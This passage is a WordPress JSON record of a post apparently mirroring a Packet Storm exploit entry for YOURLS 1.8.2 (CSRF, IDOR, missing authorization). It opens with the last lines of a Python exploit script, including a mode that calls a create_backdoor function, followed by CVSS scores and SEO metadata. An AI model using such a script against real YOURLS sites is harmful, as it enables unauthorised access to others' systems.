&#8216;backdoor&#8217;:\\n                exploiter.create_backdoor()\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    \\t\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212540&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.4,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:N\/I:H\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;3.0&#8243;,&#8221;vectorString&#8221;:&#8221;CVSS:3.0\/AV:N\/AC:L\/PR:L\/UI:R\/S:U\/C:L\/I:N\/A:N&#8221;,&#8221;baseScore&#8221;:3.5,&#8221;baseSeverity&#8221;:&#8221;LOW&#8221;,&#8221;attackVector&#8221;:&#8221;NETWORK&#8221;,&#8221;attackComplexity&#8221;:&#8221;LOW&#8221;,&#8221;privilegesRequired&#8221;:&#8221;LOW&#8221;,&#8221;userInteraction&#8221;:&#8221;REQUIRED&#8221;,&#8221;scope&#8221;:&#8221;UNCHANGED&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;LOW&#8221;,&#8221;integrityImpact&#8221;:&#8221;NONE&#8221;,&#8221;availabilityImpact&#8221;:&#8221;NONE&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212540\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-08T16:29:00&#8243;,&#8221;description&#8221;:&#8221;YOURLS version 1.8.2 AJAX endpoint scanner that checks for cross site request forgery, insecure direct object reference, missing authorization, and missing input validation vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 YOURLS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,29,12,15,13,53,7,11,5],"class_list":["post-29324","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-74","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=29324\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-08T16:29:00&#8243;,&#8221;description&#8221;:&#8221;YOURLS version 1.8.2 AJAX endpoint scanner that checks for cross site request forgery, insecure direct object reference, missing authorization, and missing input validation vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 YOURLS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=29324\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-08T10:42:41+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29324#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29324\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 YOURLS 1.8.2 CSRF \\\/ IDOR \\\/ Missing Authorization_PACKETSTORM:212540\",\"datePublished\":\"2025-12-08T10:42:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29324\"},\"wordCount\":3061,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.4\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29324#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29324\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29324\",\"name\":\"\ud83d\udcc4 YOURLS 1.8.2 CSRF \\\/ IDOR \\\/ Missing Authorization_PACKETSTORM:212540 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-08T10:42:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29324#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=29324\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=29324#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 YOURLS 1.8.2 CSRF \\\/ IDOR \\\/ Missing Authorization_PACKETSTORM:212540\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=29324","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-08T16:29:00&#8243;,&#8221;description&#8221;:&#8221;YOURLS version 1.8.2 AJAX endpoint scanner that checks for cross site request forgery, insecure direct object reference, missing authorization, and missing input validation vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 YOURLS...","og_url":"https:\/\/zero.redgem.net\/?p=29324","og_site_name":"zero redgem","article_published_time":"2025-12-08T10:42:41+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=29324#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=29324"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540","datePublished":"2025-12-08T10:42:41+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=29324"},"wordCount":3061,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.4","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=29324#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=29324","url":"https:\/\/zero.redgem.net\/?p=29324","name":"\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-08T10:42:41+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=29324#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=29324"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=29324#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 YOURLS 1.8.2 CSRF \/ IDOR \/ Missing Authorization_PACKETSTORM:212540"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29324"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/29324\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}